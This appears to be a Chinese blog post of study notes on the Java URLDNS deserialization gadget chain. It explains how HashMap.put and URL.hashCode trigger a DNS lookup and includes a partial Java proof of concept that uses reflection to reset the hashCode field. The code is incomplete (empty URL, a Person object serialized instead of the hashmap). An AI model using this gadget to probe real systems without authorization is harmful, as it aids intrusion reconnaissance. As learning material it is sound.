URLdns链的初次学习~
前情提要:师从b站白日梦组长,具体细节都可以去看他视频,均可复现下来
复现步骤
- 首先是发现URL实现了Serializable接口,存在反序列化利用危险函数的潜在危害
然后看一个常见都存在的函数hashCode,发现URL类种存在该函数,然后点进去handler下的hashcode函数,发现有个getHostAddress函数,存在域名解析的危害即ssrf


- 然后hashmap的put方法也可以调用hashcode方法,这里就存在同名函数可以替换的可能


- 这时候如果使用hashmap的put方法,最后其实调用的是url类的hashcode方法,而不是put方法中的hashcode方法
但是我们观察发现url类的hashcode方法必须要hashcode的值为-1才行

- 但是put方法中的hashcode方法会对传进去的url参数进行hash编码导致最后执行的时候hashcode的值不为-1,进而导致反序列化的时候不会域名解析

- 这时候就需要用到反射,动态修改hashcode的值,使其在put方法之后hashcode的值仍然为-1,进而反序列化的时候可以域名解析

- 这时候序列化的时候并不会发生域名解析,只有反序列化的时候hashcode的值为-1,进而导致域名解析即srf
最后的代码:
点击查看代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import java.io.*; import java.lang.reflect.Field; import java.net.HttpURLConnection; import java.net.URL; import java.util.HashMap; import java.util.Map;
public class SerializationTest { public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static void main(String[] args) throws Exception{ Person person=new Person("aa",22); //System.out.println(person);
HashMap<URL,Integer>hashmap=new HashMap<URL,Integer>(); //这里不要发起请求,先把url对象的hashcode改成不是-1 URL url=new URL(""); Class c=url.getClass(); Field hashcodefield=c.getDeclaredField("hashCode"); hashcodefield.setAccessible(true); hashcodefield.set(url,1234); hashmap.put(url,1); //这里通过反射把hashcode改回-1 hashcodefield.set(url,-1);
serialize(person/*hashmap**/); } }
|
最后自己做的图解(第一次做,有错误的地方还请各位大佬帮忙指点指点orz~)
